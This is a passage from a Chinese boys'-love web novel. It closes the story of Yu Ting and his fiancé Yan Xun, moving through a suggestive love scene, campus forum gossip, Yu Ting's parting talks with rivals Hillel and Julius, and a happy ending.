虞听抠紧燕寻的肩膀,燕寻闷声笑,为未婚夫这个猫儿挠人一样不疼不痒的回击:“真的要去床上,方便伺候你,啊。” “现在?!”虞听大惊失色,“这未免也太快了!再说你从伊斯特芬偷跑出来,不需要赶回去吗?” “有些事情已经晚了,”燕寻意味深长,“比如现在回伊斯特芬,比如……你现在说的这些话。” 他把人抱起走到床边,虞听用力挣扎,可收效甚微,燕寻把人放在床上,轻而易举将人捉住,俯身深吻。虞听一个激灵,慢慢不再乱动,二人越抱越紧,虞听的手指插进燕寻脑后的发丝,彼此动/.情的喘.息交错。 “你自己说,”虞听咬唇仰起头,感受着燕寻埋在他颈窝亲吻他的颈侧,他叹息着,“你是不是早就想着,这些……” 他眼神渐渐涣散,燕寻手心握紧,感受到那一截又窄又韧的腰肢在情不自禁颤抖。 他啄吻虞听脸颊的软肉,呵笑:“也不全是,我还考虑过咱们的订婚仪式,结婚的选址,还有蜜月旅行的计划……” 他腾出一只手握住虞听曲起的腿:“当然也包括一点,在上述各个场合和你做这种事的场景。” 虞听脸腾地热了:“你个无耻混蛋——唔……” 他呜咽出声,下一秒,一阵天旋地转,虞听被彻底推倒,燕寻改为跪在他瑟瑟发抖的腿间。 “躺好,”燕寻微微一笑,“无耻混蛋要伺候他的未婚夫了。” * 浮浮沉沉中,一阵陌生的酸痛感让虞听从无梦的酣眠中转醒。 虞听睁开惺忪睡眼。阳光照亮了落地窗帘下方的一小片木质地板,屋内的空气弥漫着淡淡的熏香味,柔软的被子如暖流般熨帖地包裹着他,他整个人几乎要陷入这个温暖的茧中。 试着动弹一下,可某个让人羞于启齿的地方传来十分不安的胀痛。虞听揉着眼皮艰难翻身,腰部的不适感令他不由得轻轻呻吟。 痛觉唤醒了断片的记忆。开闸放水般,无数旖旎痴缠的画面顷刻间涌入虞听的脑海。 昨晚,自己是在燕寻的这间主卧—— 虞听几乎是霎那间就清醒了。 他几次试图撑起身子,都以失败告终,他泄气地偏过头,却惊讶地发现大床的另一半空空荡荡,不见始作俑者的人影。 “小听?”一个声音从另一边传来,“你醒了。” 虞听扭头看去。燕寻从衣帽间走出来,他洗漱完毕,几乎穿戴整齐,对比之下虞听才恍然发现自己现在还未着寸缕,立刻想把被子拉过头顶,可燕寻比他动作更快,已经在床边坐下来,覆住他手背。 “睡得还好吗?”燕寻问。 虞听气冲冲地瞪着他,半天组织不出语言。他心道,你还有脸问,昨天晚上……昨天晚上自己是什么时候睡着的来着? 燕寻仿佛看出他的心思:“昨天晚上到后面你昏过去了,我只好抱你去洗澡。” 虞听愕然地打量燕寻的脸,仿佛对方脸上写着怪物两个字。然而并没有,他只从燕寻眼里看见赤/.裸裸的“枕头公主”四个字罢了。 “……”虞听磨了磨牙:“真不是人……” 可他渐渐回忆起来了。昨天晚上那些身影交叠的场面历历在目,燕寻是如何温柔地侍/.弄他,用手,用嘴,还有用…… 虽然很累,但的确无与伦比的舒服。 严格来说,这是他两辈子加起来第一次体会何为爽到昏头。 虞听唇瓣抿紧,脸颊染上绯红。 燕寻摸摸他的脸,带着薄茧的拇指指腹小心地轻蹭虞听的侧颊,仿佛生怕弄伤那细腻得过分的皮肤。 “我要回去了。”燕寻说,“本来想再多留一会儿,可那样还要被教官多罚一周不准外出,我们又要多一个周末不能见面。现在赶回去,或许教官看在我平日训练刻苦的份上,只让我写个检讨就能放我一马。” 虞听想笑骂一句肉不肉麻,可话到嘴边却反握住燕寻的手:“嗯,快去吧。” “这一周你要回我的短信。”燕寻说。 虞听:“你恋爱之后就会这么没出息吗?大胆一点,或许我心情好,别说短信,这一周在哪里物色一栋别墅作为蜜月旅行的住处也说不定。” “真的?”燕寻复杂地皱了皱眉,似乎当了真。 “为什么不?”虞听脸色还有点放肆过后的疲惫,却狡黠地笑,“不就是一个月的零花钱。” 燕寻看了虞听一会儿,撑在他身侧低下身子与虞听接了个吻,没有唇舌纠缠,只是唇贴着唇。 燕寻抱着虞听,耳鬓厮磨:“我从来没这么舍不得离开庄园。” 他最后亲吻虞听的额头:“学院还有陆月章的事,等着我回来处理。” “处理什么?”虞听笑,“那些事情和我们统统无关。” 他笑着看燕寻略微皱眉:“从现在开始,没有什么主角和配角,我们就是我们,过我们自己的人生。让那些糟心事都见鬼去吧。” 燕寻眉头渐渐舒展。 “是啊,”他说,“让他们见鬼去吧。一切都会好起来的。” 他忽然身子一僵,虞听一条细长笔直的小腿伸出来,脚掌抵住某处,轻轻施力,把燕寻推远。 “别拖延了,燕少爷。”虞听揶揄,“还不快回去报道。” 燕寻喉结上下滚动,眼神晦暗。他握住那只脚踝,掌心温度仿佛格外滚烫,虞听一个激灵,强撑着歪头冲他坏笑。 “捉弄我。”燕寻闷闷地说着,把虞听的腿拿下去,掖好被角,“什么少爷少爷的,该叫未婚夫。” “还不走?”虞听往下使眼色,“再不走小未婚夫怕是要抗议了。” 燕寻嗤笑,无奈地揉了一把虞听的头发,把床头的睡衣为他披好,站起身。他走到门口,突然听见虞听坐起来,叫住了他。 “燕寻,”虞听又重复了一遍,“往后的每一天,都是我们自己的人生。” 燕寻阖了阖眼。 “嗯,”他拉开门,“只属于我们两个的人生。”—— 作者有话说:“即便知晓这世界的真相,我也依然爱你。” 下更正文完结。让我们恭喜死装烟熏哥和枕头公主小鱼这对新人!《 》 【正文完】 第44章 第 44 章 我要和我的…… 两个月后。 “请大家再次用热烈的掌声, 恭喜虞听同学荣获第一名的殊荣!” 礼堂内掌声雷动,虞听端着奖杯面向台下鞠躬致谢,转身从容地走下台。整个过程中, 青年俊美的脸上如古井无波,不曾泛起一丝涟漪。 从侧面下台, 几个低年级的学生会成员已经围在虞听身侧,一个个眼露崇拜,争着抢着递衣服送水: “部长您太厉害了!” “要是我什么时候也能向您这样拿奖拿到手软, 我爹早就笑开了花……” “部长, 台上冷不冷?小心脚下……见鬼, 哪个不长眼睛的不知道开灯?” 对于这些七嘴八舌, 虞听早已视为稀松平常。虞听披上外套, 停下脚步, 其他人也立刻跟着停下来。 “多谢各位,”虞听说,“我还有事, 得趁着放假之前在学校处理完, 后面的颁奖典礼我就不参加了,麻烦你们代我向老师转达。另外……” 他轻轻拂开不知谁的水杯:“我都说了, 能不能不要把前任风纪部长那个前呼后拥的习气带过来?” “是,虞部长!” 一个低年级生做痛定思痛状,“前任风纪委员大人——我是说希莱尔学长辞职没多久,我们一时改不过来……部长还有什么指示?” 虞听环顾这几个聚精会神围在他身旁的部员, 内心涌起一阵无力。 “没有, 挺好的。”他扶额,“去忙吧。” 部员们齐声响应完便离开了,有两个小部员临走前还不忘向他投以尊崇的眼神, 在得到虞听礼貌性的微笑后顿时心神荡漾,迈着飘飘然的步伐离开。 虞听叹息,转身从后台走侧门绕道离开学院礼堂。 出了门,虞家的司机已经在小路等候。虞听把奖杯递给司机,示意司机装在他一直拎着的手提包里:“学院也是的,做一个奖杯反复利用不就好了……东西有点沉,辛苦你。” “少爷客气了。”司机说,“还是老样子,回家带给老夫人看吗?” “对,先回去吧。”虞听点头,“告诉祖母,雷蒙德的高级理疗师我可是让人专门给她约了□□的,可不准再嫌麻烦推三阻四。” “是。”司机笑答。 司机欠身离开,虞听沿着□□散步,慢慢走到学院的人工湖边。快要入夏,学院专人饲养的白天鹅在湖中缓慢地游,平镜般的湖面荡开人字形的粼粼水波。 微风徐徐。虞听一边走,一边随手打开手机。 校园论坛从来都热度不减,今天不知为何,更是热度异常。 【抢先快照!本八卦小队颁奖典礼现场原图直出![图片][图片]】 【前排,ls你是不是追过星啊,这用的什么设备,把Y学长拍的好帅啊】 【有没有可能最昂贵的设备就是Y部长这张脸?】 【还原美貌罢了……】 虞听看得耳根热,退出帖子,随手划了划,又点进一个。 【818学生会两任风纪部长之间的轶事趣闻~ 话说在你校学生会有史以来,应该没有同一个人能在卸任部长之后又重新当上部长的先例吧。更何况那可是希莱尔·欧文诶,鼎鼎有名的大魔王! 你们觉不觉得这其中有什么猫腻?】 【拜托,只是学生会风纪部长,又不是参议院院长,有那么严重吗?】 【同意ls,不过说起来,希莱尔也不像是会退位让贤的个性吧?】 【可你们有没有发现,自从那件事情之后,希莱尔整个人好像不知不觉间改变了不少…… 我记得希莱尔以前相当叛逆的,可现在他辞了风纪部长的职务,平时也不再欺负低年级的同学了,期末周的时候我还亲眼看见他在自习室……上个学期他好像也是这样吧?还以为这家伙是三分钟热度,没想到是来真的呀!】 【有生之年系列,居然见到真·浪子回头的一天。】 【都别牵强附会了,Y学长人品端正,成绩优异,这个风纪部长当的是实至名归,全学院谁有异议!凭什么非得是希莱尔让出来的?】 【那个,平时不咋混论坛,兄弟们谁知道‘那件事情’指的是什么呀】 【那件事情你都不知道?哥们你认真的?(惊讶)】 【就是那个呀,两个多月前的校庆舞台剧!那次事故最后还上报纸了呢,二年级的校篮球队长尤里乌斯受了重伤,听说这两天刚刚能够出院。】 【这和希莱尔没什么关系吧?】 【希莱尔也算半个当事人……?毕竟是男一号,当时就在台上。 我堂哥当时是风纪部的成员,和希莱尔还算认识,听说那之后希莱尔郁郁寡欢了很久,一直说自己眼看着某个人差一点就受伤什么的,后面也不知道怎么想不开,就辞职了。 我们哥俩怎么复盘也没复盘明白,某个人指的是谁啊?】 【是那个‘公主’吧】 【ls你的脑回路是不是挂面做的……咋可能是‘公主’啊喂!】 【就是,别说希莱尔了,看见他我也烦。】 【尤里乌斯还没有出院吗?那件事的影响可真大啊,总感觉他以后生活也要受影响了,别的不说,篮球这种高强度对抗的运动恐怕是一辈子也不能碰了。】 【谁说不是呢。某个风纪委员大人,虽说开始积极进取让我们这些旁观者看了都唏嘘,不过总感觉,这家伙好像哪里不对劲似的……】 “看什么呢?”一个声音问。 虞听放下手机。 风卷起湖边的草叶,带来湿润的气息。虞听抬起头,希莱尔那墨绿的眼睛正一错不错滴望着他。 “希莱尔。”虞听只是惊讶了一瞬,“你也来这散步。” “是啊,”希莱尔说,“好巧。” 虞听放慢脚步,希莱尔跟上来,两个人沿着湖边的木栈道并行。夏日的风和煦,阳光将两个人的影子拉长。 “得了那么多奖,恭喜你啊。”希莱尔说。他双手插兜,校服外套衣襟依旧敞着,桀骜不羁的模样。 虞听说:“你也不赖嘛,这学期又得了进步奖,而且这次终于现身领奖了。” 希莱尔斜了虞听一眼。 “果然还是跟你合不来。”希莱尔嘟囔,“话不投机半句多。” “前面栈道有个分叉路,”虞听扬了扬下巴,“慢走不送。” “喂!” 希莱尔抬眉,“我话还没说完呢!” “那希莱尔同学有何贵干?” 希莱尔抱着胳膊睨他,好半天才不情不愿地掏出一个信封:“自己看。” 虞听接过:“谁的?” “我哥们林抚的。”希莱尔撇嘴挖苦,“没发现有段日子没见到你最强有力的竞争对手了吗?” 虞听把信封拆开。一张大约两张明信片大小的硬质铜版纸,淡青底色配暗印竹纹,上面的字迹明显用钢笔书写,起势顿挫,笔锋劲韧,力透纸背……和他第一次见的那张慰问的明信片如出一辙,就连淡淡的香味都分毫不差。 “虞听亲启 当你看到这封信的时候,我已动身前往国外。 没错,我放弃了K大的深造机会。父母为此事震怒,可我不想继承他们的衣钵,我想去一个更自由的地方。父亲斥责我口中所谓的自由就是彻底的失败,可失败又如何呢?我曾经失败过也失去过,那种滋味很难受,可我不后悔。我想你能理解我这种感受。 原谅我的不辞而别。出国之后我计划去很多个地方走走,到时候我会给你寄明信片。如果有一天我们再相会…… 到那时,再让我们笑着交换彼此的故事吧。” 虞听一字一句读完,指尖不自觉地轻抚落款那个林字的家族印章,那痕迹很深,像一道磨不灭的刻印。 他的脚步早已不知不觉慢下来。希莱尔没有出声,默默跟在他身边,他一眼没有看明信片上的字,但脸上表情却很沉重,仿佛知道上面写了什么。 “到头来都是个胆小鬼,”希莱尔打破沉默,“不敢面对你的胆小鬼。” “是么。”虞听望着明信片轻哂,“我倒不这么觉得,希莱尔。有些人缄默一生,却能像利剑一样出鞘,像风一样追逐自由……你怎么知道他们就没有面对他们的心呢?” 粼粼的湖面泛着光泽,衬得虞听的脸清冷而明媚。 希莱尔张了张嘴,哑口无言。 “这种事我怎么可能明白。”半晌他挪开眼,喃喃自语,“这么难懂的问题……我怎么可能明白啊。” 虞听收起明信片:“所以你来找我,就是为了这个?” “谁说我来找你了?”希莱尔立刻警觉。 “哦,那难不成咱们是偶然顺路,然后你我两位风纪部长顺便交流一下管理心得?” “我还说是你找我呢!”希莱尔梗着脖子,“笑话,本少爷日理万机,哪有功夫搭理你这家伙!” 虞听轻笑:“他们都说你变了,看来他们还是不懂你啊,希莱尔。” 希莱尔忿忿地瞪着他:“……对,我就是有事找你。这行了吧!” “洗耳恭听。”虞听悠悠道。 希莱尔掏出手机,怼到他眼皮底下:“这是不是真的?你跟我说实话!” 虞听定睛一看,居然也是论坛页面,方才他没怎么注意,首页居然有一个高赞的热贴,醒目极了: 【爆炸性新闻!燕虞两家对外正式宣布联姻,订婚日期不日正式公布!】 虞听一掀眼皮,对上希莱尔那双眼睛,对方眼里盛着急切的、似乎迫于求证什么似的光: “你们要结婚了?为什么不给我发请柬?欧文家的儿子连在你的订婚宴上拥有一席之地都不配吗?” “……”虞听眨眨眼,“你的关注点是这个?” “你就说你是不是打算瞒着我来着!”希莱尔气冲冲地收回手机。 虞听心说不然呢,至少不想主动招惹你啊:“没想到你这么想要祝福我的婚事,你的心意我收到了希莱尔同学,等你结婚的时候我一定也送上厚礼……或者你也可以不邀请我,作为报复。” “谁要报复这种无聊的事!”希莱尔深吸一口气,耳朵不易察觉的红,“本少爷给你一次机会,让你重新邀请我。” 虞听看了希莱尔一会儿。 “抱歉,”他说,“还是不了吧,希莱尔。” 希莱尔的眼睛睁大了。 “你真的不邀请我?”他有点恼火,但似乎转念想到什么,摸摸鼻子,“我知道,你不就是想让本少爷纡尊降贵来求求你吗。好了,我,希莱尔·欧文,请求虞听同学你让我出席你的……” 虞听摇了摇头。 “对不起。”虞听说,“但是希莱尔,我已经下定决心,要和我的未婚夫过真正清静的,属于我们两个人自己的生活。” 希莱尔微微怔住。 半晌他才听到自己干涩的声音:“我不懂……这和我有什么关系?” 虞听无奈地笑笑:“这当然不怪你。可谁叫你是赛罗米尔学院的男主角呢。” 和主角靠得太近,总是避免不了被卷进旋涡啊,他在心中轻轻地说。 “什么男主角?”希莱尔茫然,“你不会是在拿舞台剧的事取笑我吧?” “我哪敢啊。”虞听敷衍地安慰了一句,“没什么,听不懂也没关系。听不懂……其实蛮好的。” 希莱尔眼里流露出一丝微不可察的沮丧。 “其实我也能听懂一些的。”他说,“我以为自己辞去了风纪部长的位置,遵守那些傻乎乎的校规校纪,或许就不会给你带来困扰了。可我的名字光是出现在宾客名单上,就已经让你困扰了,对不对?” 虞听停下脚步,转过身望着他。 “希莱尔,”他郑重地道,“记得我说的吗?你不只是谁的好宝宝或者乖小狗,你是个好孩子。在我眼里,你从来都不坏。” 希莱尔痴痴地看着虞听的眼睛。那双漆黑的眸子常常让他的心无端的悸动又失落,直到今时今日,他终于明白是怎样一种难以名状的情感在他身体内作祟。 是自卑啊,希莱尔对自己说。 原来像他这样没人敢招惹的富家少爷也会有自卑的一天,他会为自己没能早点迷途知返而遗憾,为自己的骄横无礼而羞愧,却连质问对方为什么连一个机会都不给自己的胆量都没有…… 所有这一切,仅仅因为一双沉静而温柔的眼睛。 “我明白了。”希莱尔艰难地吞了吞喉结,感觉自己仿佛生咽下了一把刀片,“以后我知道要怎么注意分寸了……我是说,至少我尽力。” “多谢。”虞听说。 他们静静地对看了一会儿。希莱尔强颜欢笑:“我突然感觉,自己好像被你发了张好人卡啊。” “都敢上台领进步奖了,还差这一个?”虞听轻轻笑着揶揄。 希莱尔哭笑不得地看着他,虞听也笑笑,仿佛一根紧绷在二人之间很久以来的丝线无声无息地断了,某种一直以来存在与他们关系中、那种若即若离的别扭、对抗与执念,悄然间烟消云散。 “如果燕寻有一天欺负了你,记得告诉我,我帮你收拾那个自大狂。”希莱尔说,“不过我猜即便被欺负了,也轮不到我挺身而出吧。” “我会的,”虞听说,“你可是伸张正义的风纪委员大人嘛。” “是前任。”希莱尔快走两步,背对着虞听摆了摆手,“走了!” 虞听目送着希莱尔将自己远远甩在身后。风吹起希莱尔的头发,青年背影看上去一如既往的潇洒,外套衣摆猎猎摆动,让虞听想起不久前他们东拼西凑的舞台剧上,王子那身骄傲的披风。 王子也曾落魄过,最终却得偿所愿。但大幕落下,他们便不再是戏中人。 手机震动起来。福照心灵般,虞听没看来电显示,直接接通电话: “喂?” 电话那头安静,只听得见一个离话筒很近的呼吸声。 虞听默了默:“论坛上都在讨论你什么时候出院。身体好些了么,尤里乌斯?” 对面没说话,虞听就耐心等着。湖边的百合花在风中摇曳,花瓣盛着温柔的香气。 过了几秒。 “好多了,”尤里乌斯在电话那边说,“谢谢关心。” 尤里乌斯的声音听起来和虞听印象中的不大一样。对方嗓子沙哑,没有了往日那种白马王子一样风度谦和,温暖醇厚的嗓音。像一幅褪了色的旧油画。 尤里乌斯听着有种难以言喻的疲惫,两个月不见,他好似陡然苍老了一般。 “这通电话一定很讽刺吧。”尤里乌斯笑了笑,“两个学期的时间都不到,我们就互换了角色。” 虞听没说话。 “……是啊,”尤里乌斯自问自答,“那时你想说却没说出来的话,现在我体会到了。当初的我在你眼里有多虚伪,你其实一直都看得那么明白,只是你不愿说。” 他顿了顿:“当初我没能来探望你的时候,你心里就已经看扁我这种巧言令色的家伙了吧?” 虞听握着手机,垂眸:“尤里乌斯,你打来是为了听我批判你,还是想对着我自我检讨?” 尤里乌斯呵笑一声。 “无论哪一种都没有意义。”他说,“我不是你真正需要的那个人,而你……也不是他。” 他的尾音轻如一缕尘烟,飘散在风里。 虞听顿时了然。这个世界的真相太残酷,陆月章承受不了,所以陆月章疯了;他以为自己承受得了,可其实很久以来他都自暴自弃地活着,对伤害来者不拒,却对爱避之不及。他们像战后的老兵,拖着残缺的灵魂和混乱的回忆,每一天都像在为了去死而活。 到最后他和命运开的这个玩笑和解了,可蓦然回首,还有一个人被抛在原地,那就是尤里乌斯·索恩,这个不小心窥见了真相一隅的人。 窥见了真相,却并非得见天光,而是如坠深渊,粉身碎骨。 到头来,尤里乌斯才是被真相惩罚得最深最重的人。 想通了这些的一刹那,他便想通了尤里乌斯语气中判若两人的厌世感源自什么。 “想说什么就说出来吧。”虞听道。 尤里乌斯听起来毫无生机一般的平静:“这两个月,我想了很多事。但想来想去,最多的还是关于那一晚你对我说过的话。” 虞听静静地聆听。 尤里乌斯:“我没想到,这世界上有一个人可以在这么短的时间看透我,甚至比我自己还了解我。当初的我是错的。我不知道什么是爱,对陆月章的玩弄不叫爱,对和我一起长大的竹马的那种占有不叫爱,对你……” 他隐约叹出一口气:“对你,你觉得呢?” 没有悲愤,没有不甘,曾经虞听在尤里乌斯身上看见的一切虚与委蛇的表象都不见了,他不再言笑晏晏,不再循循善诱,甚至不再有对得失的疯狂。 虞听垂着眼帘,道边的树荫和纤长睫羽在他脸上投下淡青色的影。 “我也不知道。”他坦诚地答,“但无论如何,谢谢你当时为我挺身而出。” 尤里乌斯在电话里笑了。 “那还是不追寻这个问题的答案了。”他道,“答案只会让我痛苦……或许这就是我的命,以为自己爱上了一个人,以为自己爱上了不该爱的人,以为自己谁都没有爱过……也许一开始,爱就不是我该拥有的命题。” 他们沉默了一会儿。 “伤好了吗?”虞听岔开话题。 “总之以后是打不了篮球了。”尤里乌斯听上去似乎不怎么在乎,“医生说那个贯穿伤伤到了手掌的肌肉。除此之外,倒也还不至于沦为废人。” “那就好。” 尤里乌斯哽了一下:“有件事,我不知道问了你会不会生气。” 虞听低笑:“学院给他办理退学了。” 对面没有说话,可虞听能感觉到那边仿佛无声地一震。 陆月章退学了。被警察带走后,按照奥林德的法律,虞听和尤里乌斯两位受到伤害的主要当事人有权利选择是否追究责任或者达成私下和解,虞听没有在和解书上签字,而尤里乌斯则始终犹豫不决。 “他真的要坐牢么?”尤里乌斯急切地问,“可是我还没说自己不和解!当初是我对他威逼利诱的,就算他伤了我,我们也只是两清……” “是陆月章自己提出的,”虞听说,“他已经向法院表明,自己甘愿认罪,放弃庭外和解的权利。” 电话那边的呼吸声消失了。 “是我害了他。”半晌,尤里乌斯喃喃自语,“这一切本该是我一个人的报应……” 虞听没接话,只是沿着湖边慢慢走。栈道逐渐铺向与湖畔分道扬镳的方向,百合的芬芳消逝在风里。 “不要可怜他,尤里乌斯。”虞听说——不知怎的,他脑海里忽然浮现出陆月章那张留下了伤疤的脸,有了那道伤疤,陆月章终于不再以真假难辨的赝品身份行走于世。 这是两败俱伤的代价,仿佛把刀刃攫取在手心,鲜血如注,却甘之如饴。 “如果真的想帮他,就托人给他送些需要的东西。”虞听说,“法院判决了一年,时间不长,不过我想他在里面的日子也不会太好过。” 尤里乌斯的声音里染上一丝隐忍的痛苦:“我对不起他……也对不起你。我对不起所有人。” “感到对不起的话,就从现在开始理解爱这个命题吧,尤里乌斯。”虞听平静地说,“没有谁的人生不需要这个命题。只要你还会为曾经的事感到抱歉,你就还有重新开始的勇气。” 尤里乌斯哽咽了一下:“……真的可以么?” “真的。”虞听说,“不瞒你说,自从来到这里之后,我也一直在拼命地学习这个命题啊。” 电话那边的人轻轻吸了吸鼻子。又是一阵心照不宣的安静。 “再见,学长。”尤里乌斯轻声说。 “再见。”虞听道。 电话挂断了。 虞听收起手机。天高云淡,白天鹅在水上交颈,振动翅膀,仿佛落入湖中的云。 虞听走下栈道。几个学生从对面方向结伴走来,看见虞听,纷纷精神一振,挥着手臂:“虞学长好!” 他微笑颔首,其中一个学生突然激动地指着虞听的方向:“那那那,那不是——” 虞听一头雾水,几个学生对看一眼,异口同声:“那不是燕氏的车牌号吗!” 虞听侧身,银灰色的兰博基尼大牛如身披铠甲的未来战士从他身后掠过,稳稳刹停在他身旁,副驾驶车门正正好好就在面前,分毫不差。 车窗自动降落,露出主驾驶上一个穿着军装的挺括身影,燕寻摘下墨镜,露出那张冷俊英气的脸。 几个吃瓜群众倒吸一口凉气,最开始先发现跑车的那个学生眼球快从眼眶中掉出来:“真的是燕寻!燕学长——学长你好,我是赛罗米尔校园论坛的非官方记者,请问我能不能代表广大同学采访你几个大家一直很关心的问题——” “总算赶上了。”燕寻一脸旁若无人的坦然,对虞听招招手,“上车。” 虞听挑眉:“你怎么说服教官准假的?” “我承包了室友半个月的绘图作业,换取他的假期份额。”燕寻无所谓地耸肩,“有一家新开的江景餐厅还不错,母亲前段时间去过一次,极力推荐我带你试一试。” “燕学长!”那几个学生又激动又畏惧,却谁也不敢凑近兰博基尼,“学校里都在说你就是虞听学长的未婚夫,是真的吗?联姻是从什么时候开始的?学长——” 车门打开又关上,虞听坐进副驾驶,系好安全带,燕寻没说话,只是默契地把车窗又降低了些,虞听弯下腰,对着车窗外几个八卦的学弟竖起一根手指摇了摇。 几个低年级学弟愣住。印象中虞听永远是一副苍白清冷、不食人间烟火的淡淡模样,可他此刻笑容狡黠,瞳子里闪着熠熠的光,明媚又鲜活。 “的确是我虞家的未婚夫哦。”虞听得意地扬了扬眉,眼角眉梢染上俏皮的神色,“在一起不是因为联姻,而是彼此的选择。我们可不是背景板与NPC,是彼此钦定的男主人公。” “NPC?”学弟茫然地嘟哝,“放眼整个奥林德,谁敢把虞家和燕氏当NPC啊?” 虞听哈哈大笑,在他身侧,燕寻戴上墨镜,却嘴角小幅上扬。 兰博基尼轮胎转动,发动机加大马力,几个学生呆呆地目送跑车疾驰而去,只听见一串快活的笑声: “我要和我的主人公约会去了,各位,原谅我先走一步!”- 正文完-《 》